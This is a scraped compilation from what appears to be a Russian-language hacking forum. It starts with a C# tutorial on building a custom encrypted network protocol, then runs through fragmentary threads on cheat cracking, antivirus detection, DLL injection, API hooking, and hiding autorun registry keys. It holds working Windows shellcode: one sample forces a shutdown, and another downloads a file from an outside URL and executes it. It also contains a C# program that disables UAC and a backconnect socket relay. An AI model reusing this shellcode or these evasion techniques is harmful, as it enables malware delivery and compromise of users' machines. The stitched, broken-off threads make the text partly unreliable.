public void SetValue(byte id, object structure)
{
if (!structure.GetType().IsValueType)
{
throw new Exception("Only value types are available.");
}
var field = GetField(id);
if (field == null)
{
field = new XPacketField
{
FieldID = id
};
Fields.Add(field);
}
var bytes = FixedObjectToByteArray(structure);
if (bytes.Length > byte.MaxValue)
{
throw new Exception("Object is too big. Max length is 255 bytes.");
}
field.FieldSize = (byte) bytes.Length;
field.Contents = bytes;
}
Проверка на работоспособность
Проверим создание пакета, его перевод в бинарный вид и парсинг назад.
Code:Copy to clipboard
var packet = XPacket.Create(1, 0);
packet.SetValue(0, 123);
packet.SetValue(1, 123D);
packet.SetValue(2, 123F);
packet.SetValue(3, false);
var packetBytes = packet.ToPacket();
var parsedPacket = XPacket.Parse(packetBytes);
Console.WriteLine($"int: {parsedPacket.GetValue<int>(0)}\n" +
$"double: {parsedPacket.GetValue<double>(1)}\n" +
$"float: {parsedPacket.GetValue<float>(2)}\n" +
$"bool: {parsedPacket.GetValue<bool>(3)}");
Судя по всему, все работает прекрасно. В консоли должен появиться выхлоп.
Code:Copy to clipboard
int: 123
double: 123
float: 123
bool: False
Вводим типы пакетов
Запомнить ID всех пакетов, которые будут созданы, сложно. Отлаживать пакет с типом N и подтипом Ns не легче, если не держать все ID в голове. В этом разделе мы дадим нашим пакетам имена и привяжем эти имена к ID пакета. Для начала создадим перечисление, которое будет содержать имена пакетов.
Code:Copy to clipboard
public enum XPacketType
{
Unknown,
Handshake
}
Unknown будет использоваться для типа, который нам неизвестен. Handshake — для
пакета рукопожатия.
Теперь, когда нам известны типы пакетов, пора привязать их к ID. Необходимо
создать менеджер, который будет этим заниматься.
Code:Copy to clipboard
public static class XPacketTypeManager
{
private static readonly Dictionary<XPacketType, Tuple<byte, byte>> TypeDictionary = new Dictionary<XPacketType, Tuple<byte, byte>>();
/* < ... > */
}
Статический класс хорошо подойдет для этой функции. Его конструктор вызывается
лишь один раз, что позволит нам зарегистрировать все известные типы пакетов.
Невозможность вызвать статический конструктор извне поможет не проходить
повторную регистрацию типов.
Dictionary<TKey, TValue> хорошо подходит для этой задачи. Используем тип
(XPacketType) как ключ, а Tuple<T1, T2> будет хранить в себе значение типа
(T1) и подтипа (T2). Создадим функцию для регистрации типов пакета.
Code:Copy to clipboard
public static void RegisterType(XPacketType type, byte btype, byte bsubtype)
{
if (TypeDictionary.ContainsKey(type))
{
throw new Exception($"Packet type {type:G} is already registered.");
}
TypeDictionary.Add(type, Tuple.Create(btype, bsubtype));
}
Имплементируем получение информации по типу:
Code:Copy to clipboard
public static Tuple<byte, byte> GetType(XPacketType type)
{
if (!TypeDictionary.ContainsKey(type))
{
throw new Exception($"Packet type {type:G} is not registered.");
}
return TypeDictionary[type];
}
И конечно, получение типа пакета. Структура может выглядеть несколько хаотичной, но она будет работать.
Code:Copy to clipboard
public static XPacketType GetTypeFromPacket(XPacket packet)
{
var type = packet.PacketType;
var subtype = packet.PacketSubtype;
foreach (var tuple in TypeDictionary)
{
var value = tuple.Value;
if (value.Item1 == type && value.Item2 == subtype)
{
return tuple.Key;
}
}
return XPacketType.Unknown;
}
Создаем структуру пакетов для их сериализации и десериализации
Чтобы не парсить все вручную, обратимся к сериализации и десериализации классов. Для этого нужно создать класс и расставить атрибуты. Все остальное код сделает самостоятельно; потребуется только атрибут с информацией о том, с какого поля писать и читать.
Code:Copy to clipboard
[AttributeUsage(AttributeTargets.Field)]
public class XFieldAttribute : Attribute
{
public byte FieldID { get; }
public XFieldAttribute(byte fieldId)
{
FieldID = fieldId;
}
}
Используя AttributeUsage, мы установили, что наш атрибут можно будет установить только на поля классов. FieldID будет использоваться для хранения ID поля внутри пакета.
Создаем сериализатор
Для сериализации и десериализации в C# используется Reflection. Этот набор
классов позволит узнать всю необходимую информацию и установить значение полей
во время рантайма.
Для начала необходимо собрать информацию о полях, которые будут участвовать в
процессе сериализации. Для этого можно использовать простое выражение LINQ.
Code:Copy to clipboard
private static List<Tuple<FieldInfo, byte>> GetFields(Type t)
{
return t.GetFields(BindingFlags.Instance |
BindingFlags.NonPublic |
BindingFlags.Public)
.Where(field => field.GetCustomAttribute<XFieldAttribute>() != null)
.Select(field => Tuple.Create(field, field.GetCustomAttribute<XFieldAttribute>().FieldID))
.ToList();
}
Так как необходимые поля помечены атрибутом XFieldAttribute, найти их внутри класса не составит труда. Сначала получим все нестатичные, приватные и публичные поля при помощи GetFields(). Выбираем все поля, у которых есть наш атрибут. Собираем новый IEnumerable, который содержит Tuple<FieldInfo, byte>, где byte — ID нашего поля в пакете.
Здесь мы вызываем GetCustomAttribute<>() два раза. Это не обязательно, но таким образом код будет выглядеть аккуратнее.
Итак, теперь ты умеешь получать все FieldInfo для типа, который будешь сериализовать. Пришло время создать сам сериализатор: у него будут обычный и строгий режимы работы. Во время обычного режима будет игнорироваться тот факт, что разные поля используют один и тот же ID поля внутри пакета.
Code:Copy to clipboard
public static XPacket Serialize(byte type, byte subtype, object obj, bool strict = false)
{
var fields = GetFields(obj.GetType());
if (strict)
{
var usedUp = new List<byte>();
foreach (var field in fields)
{
if (usedUp.Contains(field.Item2))
{
throw new Exception("One field used two times.");
}
usedUp.Add(field.Item2);
}
}
var packet = XPacket.Create(type, subtype);
foreach (var field in fields)
{
packet.SetValue(field.Item2, field.Item1.GetValue(obj));
}
return packet;
}
Внутри foreach происходит самое интересное: fields содержит все нужные поля в виде Tuple<FieldInfo, byte>. Item1 — искомое поле, Item2 — ID этого поля внутри пакета. Перебираем их все, следом устанавливаем значения полей при помощи SetPacket(byte, object). Теперь пакет сериализован.
Создаем десериализатор
Создавать десериализатор в разы проще. Нужно использовать функцию GetFields(), которую мы имплементировали в прошлом разделе.
Code:Copy to clipboard
public static T Deserialize<T>(XPacket packet, bool strict = false)
{
var fields = GetFields(typeof(T));
var instance = Activator.CreateInstance<T>();
if (fields.Count == 0)
{
return instance;
}
/* <---> */
После того как мы подготовили все к десериализации, можем приступить к делу. Выполняем проверки для режима strict, бросая исключение, когда это нужно.
Code:Copy to clipboard
/* <---> */
foreach (var tuple in fields)
{
var field = tuple.Item1;
var packetFieldId = tuple.Item2;
if (!packet.HasField(packetFieldId))
{
if (strict)
{
throw new Exception($"Couldn't get field[{packetFieldId}] for {field.Name}");
}
continue;
}
/* Очень важный костыль, который многое упрощает
* Метод GetValue<T>(byte) принимает тип как type-параметр
* Наш же тип внутри field.FieldType
* Используя Reflection, вызываем метод с нужным type-параметром
*/
var value = typeof(XPacket)
.GetMethod("GetValue")?
.MakeGenericMethod(field.FieldType)
.Invoke(packet, new object[] {packetFieldId});
if (value == null)
{
if (strict)
{
throw new Exception($"Couldn't get value for field[{packetFieldId}] for {field.Name}");
}
continue;
}
field.SetValue(instance, value);
}
return instance;
}
Создание десериализатора завершено. Теперь можно проверить работоспособность кода. Для начала создадим простой класс.
Code:Copy to clipboard
class TestPacket
{
[XField(0)]
public int TestNumber;
[XField(1)]
public double TestDouble;
[XField(2)]
public bool TestBoolean;
}
Напишем простой тест.
Code:Copy to clipboard
var t = new TestPacket {TestNumber = 12345,
TestDouble = 123.45D,
TestBoolean = true};
var packet = XPacketConverter.Serialize(0, 0, t);
var tDes = XPacketConverter.Deserialize<TestPacket>(packet);
if (tDes.TestBoolean)
{
Console.WriteLine($"Number = {tDes.TestNumber}\n" +
$"Double = {tDes.TestDouble}");
}
После запуска программы должны отобразиться две строки:
Code:Copy to clipboard
Number = 12345
Double = 123,45
А теперь перейдем к тому, для чего все это создавалось.
Первое рукопожатие
Рукопожатие применяется в протоколах для того, чтобы удостовериться, что клиент и сервер используют одинаковый протокол, и проверить соединение. В данном случае рукопожатие позволит проверить, работает ли протокол.
Примеры работы с сокетами ты найдешь в официальной документации в главе [Socket Code Examples](https://docs.microsoft.com/en- us/dotnet/framework/network-programming/socket-code-examples).
Мы создали простой пакет для обмена рукопожатиями.
Code:Copy to clipboard
public class XPacketHandshake
{
[XField(1)]
public int MagicHandshakeNumber;
}
Рукопожатие будет инициировать клиент. Он отправляет пакет рукопожатия с
рандомным числом, а сервер в свою очередь должен ответить числом, на 15 меньше
полученного.
Отправляем пакет на сервер.
Code:Copy to clipboard
var rand = new Random();
HandshakeMagic = rand.Next();
client.QueuePacketSend(
XPacketConverter.Serialize(
XPacketType.Handshake,
new XPacketHandshake
{
MagicHandshakeNumber = HandshakeMagic
}).ToPacket());
При получении пакета от сервера обрабатываем handshake отдельной функцией.
Code:Copy to clipboard
private static void ProcessIncomingPacket(XPacket packet)
{
var type = XPacketTypeManager.GetTypeFromPacket(packet);
switch (type)
{
case XPacketType.Handshake:
ProcessHandshake(packet);
break;
case XPacketType.Unknown:
break;
default:
throw new ArgumentOutOfRangeException();
}
}
Десериализуем, проверяем ответ от сервера.
Code:Copy to clipboard
private static void ProcessHandshake(XPacket packet)
{
var handshake = XPacketConverter.Deserialize<XPacketHandshake>(packet);
if (HandshakeMagic - handshake.MagicHandshakeNumber == 15)
{
Console.WriteLine("Handshake successful!");
}
}
На стороне сервера есть свой идентичный ProcessIncomingPacket. Разберем процесс обработки пакета на стороне сервера. Десериализуем пакет рукопожатия от клиента, отнимаем пятнадцать, сериализуем и отправляем обратно.
Code:Copy to clipboard
private void ProcessHandshake(XPacket packet)
{
Console.WriteLine("Recieved handshake packet.");
var handshake = XPacketConverter.Deserialize<XPacketHandshake>(packet);
handshake.MagicHandshakeNumber -= 15;
Console.WriteLine("Answering..");
QueuePacketSend(
XPacketConverter.Serialize(XPacketType.Handshake, handshake)
.ToPacket());
}
Собираем и проверяем.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F02%2F206311%2Fhandshake-
test.png&hash=5dd7cba13777511dec38f4350549f8df)
Тестирование рукопожатия
Все работает!
Имплементируем простую защиту протокола
Наш протокол будет иметь два типа пакетов — обычный и защищенный. У обычного
наш стандартный заголовок, а у защищенного вот такой: [0x95, 0xAA, 0xFF].
Чтобы отличать зашифрованные пакеты от обычных, потребуется добавить свойство
внутрь класса XPacket.
Code:Copy to clipboard
public bool Protected { get; set; }
После модифицируем функцию XPacket.Parse(byte[]), чтобы она принимала и расшифровывала новые пакеты. Сначала модифицируем функцию проверки заголовка:
Code:Copy to clipboard
var encrypted = false;
if (packet[0] != 0xAF ||
packet[1] != 0xAA ||
packet[2] != 0xAF)
{
if (packet[0] == 0x95 ||
packet[1] == 0xAA ||
packet[2] == 0xFF)
{
encrypted = true;
}
else
{
return null;
}
}
Как будет выглядеть наш зашифрованный пакет? По сути, это будет пакет в пакете
(вроде пакета с пакетами, который ты прячешь на кухне, только здесь защищенный
пакет содержит в себе зашифрованный обычный пакет).
Теперь необходимо расшифровать и распарсить зашифрованный пакет. Позволяем
пометить пакет как продукт расшифровки другого пакета.
Code:Copy to clipboard
public static XPacket Parse(byte[] packet, bool markAsEncrypted = false)
Добавляем функциональность в цикл парсинга полей.
Code:Copy to clipboard
if (fields.Length == 2)
{
return encrypted ? DecryptPacket(xpacket) : xpacket;
}
Так как мы принимаем только структуры как типы данных, мы не сможем записать byte[]внутрь поля. Поэтому немного модифицируем код, добавив новую функцию, которая будет принимать массив данных.
Code:Copy to clipboard
public void SetValueRaw(byte id, byte[] rawData)
{
var field = GetField(id);
if (field == null)
{
field = new XPacketField
{
FieldID = id
};
Fields.Add(field);
}
if (rawData.Length > byte.MaxValue)
{
throw new Exception("Object is too big. Max length is 255 bytes.");
}
field.FieldSize = (byte) rawData.Length;
field.Contents = rawData;
}
Сделаем такую же, но уже для получения данных из поля.
Code:Copy to clipboard
public byte[] GetValueRaw(byte id)
{
var field = GetField(id);
if (field == null)
{
throw new Exception($"Field with ID {id} wasn't found.");
}
return field.Contents;
}
Теперь все готово для создания функции расшифровки пакета. Шифрование будет
использовать класс RijndaelManaged со строкой в качестве пароля для
шифрования. Строка с паролем будет константна. Это шифрование поможет
защититься от атаки типа MITM.
Создадим класс, который будет шифровать и расшифровывать данные.
Так как процесс шифрования выглядит идентично, возьмем готовое решение для шифрования строки с Stack Overflow и адаптируем его для себя.
Модифицируем методы, чтобы они принимали и возвращали массивы байтов.
Code:Copy to clipboard
public static byte[] Encrypt(byte[] data, string passPhrase)
public static byte[] Decrypt(byte[] data, string passPhrase)
И простой хендлер, который будет хранить секретный ключ.
Code:Copy to clipboard
public class XProtocolEncryptor
{
private static string Key { get; } = "2e985f930853919313c96d001cb5701f";
public static byte[] Encrypt(byte[] data)
{
return RijndaelHandler.Encrypt(data, Key);
}
public static byte[] Decrypt(byte[] data)
{
return RijndaelHandler.Decrypt(data, Key);
}
}
Затем создаем функцию для расшифровки. Данные обязательно должны быть в поле с ID = 0. Как иначе нам его искать?
Code:Copy to clipboard
private static XPacket DecryptPacket(XPacket packet)
{
if (!packet.HasField(0))
{
return null;
}
var rawData = packet.GetValueRaw(0);
var decrypted = XProtocolEncryptor.Decrypt(rawData);
return Parse(decrypted, true);
}
Получаем данные, расшифровываем и парсим заново. То же самое проделываем с
обратной процедурой.
Вводим свойство, чтобы пометить надобность в заголовке зашифрованного пакета.
Code:Copy to clipboard
private bool ChangeHeaders { get; set; }
Создаем простой пакет и помечаем, что в нем зашифрованные данные.
Code:Copy to clipboard
public static XPacket EncryptPacket(XPacket packet)
{
if (packet == null)
{
return null;
}
var rawBytes = packet.ToPacket();
var encrypted = XProtocolEncryptor.Encrypt(rawBytes);
var p = Create(0, 0);
p.SetValueRaw(0, encrypted);
p.ChangeHeaders = true;
return p;
}
И добавляем две функции для более удобного обращения.
Code:Copy to clipboard
public XPacket Encrypt()
{
return EncryptPacket(this);
}
public XPacket Decrypt() {
return DecryptPacket(this);
}
Модифицируем ToPacket(), чтобы тот слушался значения ChangeHeaders.
Code:Copy to clipboard
packet.Write(ChangeHeaders
? new byte[] {0x95, 0xAA, 0xFF, PacketType, PacketSubtype}
: new byte[] {0xAF, 0xAA, 0xAF, PacketType, PacketSubtype},
0, 5);
Проверяем:
Code:Copy to clipboard
var packet = XPacket.Create(0, 0);
packet.SetValue(0, 12345);
var encr = packet.Encrypt().ToPacket();
var decr = XPacket.Parse(encr);
Console.WriteLine(decr.GetValue<int>(0));
В консоли получаем число 12345
.
Заключение
Только что мы создали свой собственный протокол. Это был долгий путь от
базовой структуры на бумаге до его полной имплементации в коде. Надеюсь, тебе
было интересно!
Исходный код проекта можно найти в моем
GitHub.
(с) 0x25CBFC4F
хакер.ру
https:///d/hAd
https:///d/hAd
https://*********/d/hAd
Всем доброго времени суток. Функция хеширования.
C#:Copy to clipboard
private static string Hash(string pass, string algo = "MD5")
{
return BitConverter.ToString(((HashAlgorithm)CryptoConfig.CreateFromName(algo)).ComputeHash(pass)).Replace("-", string.Empty).ToLower();
}
Использование
C#:Copy to clipboard
string resultMD5 = Hash("passw0rd");
string resultSHA256 = Hash("passw0rd", "sha256");
Вместо string pass можно передавать любые объекты для которых нужно выполнить
хеширование. Например FileStream для подсчета MD5 хеш суммы файла.
Посмотреть список алгоритмов можно [тут](https://docs.microsoft.com/en-
us/dotnet/api/system.security.cryptography.cryptoconfig?view=netframework-4.7.2#remarks).
Ошибок много и собрать у вас его не получиться но посмотреть код чтоб понять что и как работает можно
Spoiler: Клик
Скачать : https://yadi.sk/d/z0_8HmY4DFuukw
ps : да да , достать сорец из .net может каждый , я и сам знаю .
Привет ребят есть исходник программы(чита для игры) чтоб я им пользовался нужно удалить код привязки по железу потом компилировать кто можешь помочь?
Собственно сабж, есть софт но в заголовке красуется имя разработчика... Как его оттуда убрать?
Ищу человека кто разбирается в таких языках программирования как:
С++ / MFC
VC++ 6.0
MSVS2010
Дорогие форумчане , с не давнего времени на этом форуме , и вот вопрос к вам
кто нибудь занимается тут java разработкой , мне нужен опыт именно в написание
этих программ , сам уже имею основу , как с чем работать , но не имею опыта ,
не в проектах и тд..
Собственно приглашаю не только тех кто по java , думаю тема парсеров и тд
одинакова, вытаскивал уже с html страницы инфу , рука пока что не набита
,потому-что учусь каждый день по 6 часов.
C#:Copy to clipboard
// пример Antivirus("companyName") или Antivirus("displayName") вернут нужную нам информацию об АВ
private string Antivirus(string type)
{
string computer = Environment.MachineName;
string wmipath = @"\\" + computer + @"\root\SecurityCenter";
try
{
ManagementObjectSearcher searcher = new ManagementObjectSearcher(wmipath, "SELECT * FROM AntivirusProduct");
ManagementObjectCollection instances = searcher.Get(); // тут получаем все instances, и можем их вернуть, чтобы парсить после.
foreach (ManagementObject queryObj in instances)
{
return queryObj[type].ToString();
}
}
catch (Exception e)
{
// обработка исключения
}
return null;
}
Это способ, чтобы не тягать за собой тонный список процессов, который есть в теме https://xss.is/threads/26346/
Не уверен, но похоже, что наткнулся на сорсы этого дела.., хотя может быть жирный фейковы архив.. Смотрим содержимое, отписываем своё мнение в тему...
-------------------------------------------------------
-------------------------------------------------------
Кто знает норм способы обработки аргумента в shell-команде в Python? Я понимаю, что есть subproccess и подобные библиотеки, но речь идёт о передаче параметра через SSH. Достаточно ли надёжной будет функция shell_escape в коде ниже?
Python:Copy to clipboard
import paramiko
import sys
def shell_escape(arg):
return "'%s'" % (arg.replace(r"'", r"'\''"), )
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname="192.168.0.272", username="root", password="toor", port="22")
stdin, stdout, stderr = client.exec_command("sh script.sh {}".format(shell_escape(sys.argv[1])))
data = stdout.read() + stderr.read()
client.close()
print(str(data))
Добрый день!
Адресую свои вопросы сведущим разработчикам под NDK.
Приветствую всех. Хочу научиться кодить простеньких ботов, взаимодействующих с
админкой.
Имеется небольшой опыт кодинга на С под линуксом. С++ и АСМ под виндой. В
большей степени прикладные софтины, алгоритмы. Из винапи за все время
пользовался буквально 3-5 функами. Некоторое представлением есть, но опыта
нету.
Пытаться кодить в данном случае думаю буду на с или с++. Вот собственно.
Для начала мне нужны некоторые знания, инфа. Помогите разобраться и усвоить
некоторые вещи.
Вот допустим есть основные виды запросов: 1)пост; 2)гет.
И есть: 1)сокеты; 2)вининет; 3)больше ничего нету из этого, так?.
Загружаю ДЛЛ в память, запускаю ее, но почемуто не работает как надо.
Подозреваю что это иза того что нет ее в списке модулец.
Может есть у кого функция что бы добавить инфу про ДЛЛ туда.
У меня есть наработки , но почемуто не могу ЕП поставить. точней ставлю , а она не отображается в списке модуля.
П.С. Спасибо за помощь.
Вот решил разобраться с перехватом апи, вроде делал как по мануалу пишет на васме , но вот толку 0
Вроде как хук делается, но когда программа обращается к этой функции то сразу закрывается. ( тестировал на блокноте , функа CreateFileW).
Жду помощи , критики и т.д. главное что бы я разобрался , а все другое не имеет значения . Всем спасибо!!
Собственно, вроди как сорсы этого дела...
--------------------------------------------------------
Есть у меня задача, при переключении с одного сетевого интерфейса на другой показывать новый IP. Эту задачу я реализовал, она не сложная, тем более что ip локальной сетки.
Я решил пойти дельше и реализовать следующую схему: приложение висит в памяти и через интервал опрашивает интерфейсы об их ip потом ломится на _http://www.dyndns.org/cgi-bin/check_ip.cgi и смотрит внешний ip. Если хоть какой-то из новых ip отличается от тех которые были в прошлои интервале, то сетевой интерфейс отключается. Это нужно например для того чтобы выключать сетевуху при разрыве связи с VPN.
Собственно вопрос. Можно как-то другим способом получить внешний ip без хождения на сайты? А то иногда вываливается по таймауту и это не очень практично, тем более что мы привязанны к внешнему сайту.
Заранее благодарен за ответы.
В общем прописал AppInit_DLLs на win xp либу свою в ней на
DLL_PROCESS_ATTACH пишется в файл hello world
Когда делаю инжект в ручную (удаленным потоком) то все ОК
когда в AppInit_DLLs либа в всех процессах висит но уведомление не приходит.
На висте и севен (LoadAppInit_DLLs = 1) такая же хрень в чем проблема с
AppInit_DLLs ???
Как средствами WinAPI (легальными не NtXxx) узнать какому процессу принадлежит
мьютекс ???
на нетиве делаю след. связку функций :
Code:Copy to clipboard
NtQuerySystemInformation (с классом SystemHandleInformation)
NtDuplicateObject
NtQueryObject
спасибо
Возможно ли скрыть ключ реестра при ограниченых правах в ветве
HKEY_CURRENT_USER...run
насколько я понимаю не возможно поставить hook из за того что надо админские
права ?
Но с другой если есть админские права смысл туда ставить проще поставить хук и
фильтровать AppInit_DLLs или установить сервис(длл) но меня все же интересует
возможность при ограниченых правах скрыть ключ реестра ???
/*------------------------------------------------
==[ By Ayrbyte ]======[ Geng Simbe @ TKJ 1 Club ]========================================
Greets To : Adit Groundd SAndd Notte, Agos Wahyo, Aguenkk Rebel Black Sweet,
Ahmad Bagoes, Alvin Putra Marcdyto, Arieb Shezhaniea, Aviep Autiez, Chusnie Mubarok,
Cumigh Gokil On Üç, Dapat Di Hubungi, De Ayiph Ever, Dwi J Andreansyah, Jack PYing,
Khuluq Gomez, Ola Amor Arpaz, Pewe, Q-blueshiierezpector Screamoalltheway Aparatkeparat,
Raden Mas Koko, Rivan Ardiansyah, Rizqi Bogez, Rony C'Penghianat X Ciinta, Sukrex Dreizehn,
Syafi'i, and all Tkj 1 Club Family... ^_^=========================================================================================
--------------------------------------------------
title : Windows7 Force Shutdown Shellcode - 215 chars
Author: Ayrbyte
Category: local
Tested on: Windows7 Ultimate
Code : c++
Fb : fb.me/Ayrbyte
------------------------------------------------ */
#include
using namespace std;char code[] = "\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x14"
"\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB9\x73\x31\x11\x11\x2B\xC8\x03\xE9\x8B\xD4\xB9\x10\x21\x11\x11\x2B\xC8\x2B\xD1\xB9"
"\x63\x6D\x64\x20\x89\x0A\xB9\x2F\x6B\x20\x73\x89\x4A\x04\xB9\x68\x75\x74\x64\x89\x4A\x08\xB9\x6F\x77\x6E\x20\x89\x4A\x0C\xB9\x2F"
"\x73\x20\x2F\x89\x4A\x10\xB9\x74\x20\x30\x20\x89\x4A\x14\xB9\x40\x77\x11\x11\x2B\xC8\x89\x4A\x18\x33\xDB\x8B\xF4\xB9\x65\x11\x11"
"\x11\x2B\xC8\x8D\x4E\xAC\x51\x8D\x4E\xBC\x51\x53\x53\xB9\x31\x13\x11\x11\x2B\xC8\x51\x53\x53\x53\x52\x53\xFF\xD5\x33\xF6\x33\xC9"
"\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x13\x11\x11\x11\x2B"
"\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11\x11\xB9\x37\x26\x14\x11\x2B\xC8\x03\xE9\xFF\xD5";
int main(){printf("Shellcode Length is : %u\n",strlen(code));system("PAUSE");
int (_13)() = (int()())code; _13(); }
/=================[ Geng Simbe @ TKJ 1 Club ]======/29D7BF96822B7510 1337day.com [2013-05-16] 8F0E5895840CBB3F
Click to expand...
/*
Title: Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode
Date: 2013-22-01
Author: RubberDuck
Web: http://bflow.security-portal.cz
http://www.security-portal.cz
Tested on: Win 2k, Win XP Home SP2/SP3 CZ (32), Win 7 (32/64)
-- file is downloaded from URL <http://bflow.security- portal.cz/down/xy.txt>
-- xy.txt - http://www.virustotal.com/file/7d0d68f8e37...sis/1358866648/
-- xy.txt only shows MessageBox with text "Test application for Allwin URLDownloadToFile shellcode"
and title ">> Author: RubberDuck - http://bflow.security-portal.cz <<"*/
Click to expand...
Code:Copy to clipboard
#include <windows.h>
#include <stdio.h>
int main(){
unsigned char shellcode[] =
"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B"
"\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53"
"\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81"
"\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04"
"\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64"
"\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3"
"\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3"
"\x8B\x14\x8E\x03\xD3\x33\xC9\x51\x68\x2E"
"\x65\x78\x65\x68\x64\x65\x61\x64\x53\x52"
"\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62"
"\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2"
"\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C"
"\x51\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C"
"\x6D\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24"
"\x04\x33\xC9\x51\x66\xB9\x65\x41\x51\x33"
"\xC9\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64"
"\x54\x68\x6F\x77\x6E\x6C\x68\x55\x52\x4C"
"\x44\x54\x50\xFF\xD2\x33\xC9\x8D\x54\x24"
"\x24\x51\x51\x52\xEB\x47\x51\xFF\xD0\x83"
"\xC4\x1C\x33\xC9\x5A\x5B\x53\x52\x51\x68"
"\x78\x65\x63\x61\x88\x4C\x24\x03\x68\x57"
"\x69\x6E\x45\x54\x53\xFF\xD2\x6A\x05\x8D"
"\x4C\x24\x18\x51\xFF\xD0\x83\xC4\x0C\x5A"
"\x5B\x68\x65\x73\x73\x61\x83\x6C\x24\x03"
"\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69"
"\x74\x54\x53\xFF\xD2\xFF\xD0\xE8\xB4\xFF"
"\xFF\xFF"
// http://bflow.security-portal.cz/down/xy.txt
"\x68\x74\x74\x70\x3A\x2F\x2F\x62"
"\x66\x6C\x6F\x77\x2E\x73\x65\x63\x75\x72"
"\x69\x74\x79\x2D\x70\x6F\x72\x74\x61\x6C"
"\x2E\x63\x7A\x2F\x64\x6F\x77\x6E\x2F\x78"
"\x79\x2E\x74\x78\x74\x00";
LPVOID lpAlloc = NULL;
void (*pfunc)();
lpAlloc = VirtualAlloc(0, 4096,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if(lpAlloc == NULL){
printf("Memory isn't allocated!\n");
return 0;
}
memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode) + 1);
pfunc = (void (*)())lpAlloc;
pfunc();
return 0;
}
Собственно выполняет ли нижепоставленый код отключение UAC, рабочий ли способ?
Code:Copy to clipboard
using System;
using System.IO;
using Microsoft.Win32;
namespace autostart
{
class Program
{
static void Main()
{
try
{
var uac = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
if (uac != null)
if (uac.GetValue("EnableLUA") != null)
uac.SetValue("EnableLUA", "0");
Console.WriteLine("UAC desactivated");
}
catch (Exception c)
{
Console.WriteLine("Writing in registry failed " + c);
}
try
{
var uac = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
if (uac != null)
if (uac.GetValue("EnableLUA") != null)
uac.SetValue("EnableLUA", "0");
Console.WriteLine("UAC desactivated");
}
catch (Exception c)
{
Console.WriteLine("Writing in registry failed " + c);
}
}
}
}
Картина такая
Есть 3 приложения A/B/C
Приложения А конечное оно имеет доступ в сеть
Приложение В промежуточное оно переадресует траф с приложения А на С и
наоборот
Приложения С - клиент.
Проблема видимо в синхронизации. вот примеры кода
Для приложения А
Code:Copy to clipboard
// tunneling socket to socket :))
WSAEVENT MyStructEvents[1];
MyStructEvents[0] = hDestSockEvent;
MyStructEvents[1] = hSourceSocketEvent;
char*szBuf = (char*)GlobalAlloc(GMEM_ZEROINIT,TRANSFERS_BUFF);
if (szBuf != NULL)
{
DWORD dwRet;
int _recvBytes;
BOOL bIsExit = TRUE;
while (bIsExit)
{
WSANETWORKEVENTS WSANetworkEvents;
dwRet = WSAWaitForMultipleEvents(2,MyStructEvents,FALSE,TIME_WAIT_REPLY,FALSE);
switch (dwRet)
{
case WSA_WAIT_EVENT_0 + 0:
if (WSAEnumNetworkEvents(DestSock,hDestSockEvent,&WSANetworkEvents) == 0)
{
if(WSANetworkEvents.lNetworkEvents & FD_READ)
{
if (WSANetworkEvents.iErrorCode[FD_READ_BIT] == 0)
{
//do {
// receive data from remote server
_recvBytes = ReceiveData(DestSock,szBuf,TRANSFERS_BUFF);
if (_recvBytes > 0)
{
//send data to daemon
SendData(SourceSocket,szBuf,_recvBytes);
}
//} while (_recvBytes != 0);
}
}
if(WSANetworkEvents.lNetworkEvents & FD_CLOSE)
{
if ( (WSANetworkEvents.iErrorCode[FD_CLOSE_BIT] == 0) || (WSANetworkEvents.iErrorCode[FD_CLOSE_BIT] != 0))
{
bIsExit = FALSE;
}
}
}
break;
case WSA_WAIT_EVENT_0 + 1:
if (WSAEnumNetworkEvents(SourceSocket,hSourceSocketEvent,&WSANetworkEvents) == 0)
{
if(WSANetworkEvents.lNetworkEvents & FD_READ)
{
if (WSANetworkEvents.iErrorCode[FD_READ_BIT] == 0)
{
//do {
// receive data from daemon
_recvBytes = ReceiveData(SourceSocket,szBuf,TRANSFERS_BUFF);
if (_recvBytes > 0)
{
// send data to server
SendData(DestSock,szBuf,_recvBytes);
}
//} while (_recvBytes != 0);
}
}
if(WSANetworkEvents.lNetworkEvents & FD_CLOSE)
{
if ( (WSANetworkEvents.iErrorCode[FD_CLOSE_BIT] == 0) || (WSANetworkEvents.iErrorCode[FD_CLOSE_BIT] != 0))
{
bIsExit = FALSE;
}
}
}
break;
case WSA_WAIT_FAILED :
bIsExit = FALSE;
break;
}
}
GlobalFree(szBuf);
}
для Приложения В
Code:Copy to clipboard
hWsaEvents[0] := hClientRemoteEvent;
hWsaEvents[1] := hPeerBackConnectRemoteEvent;
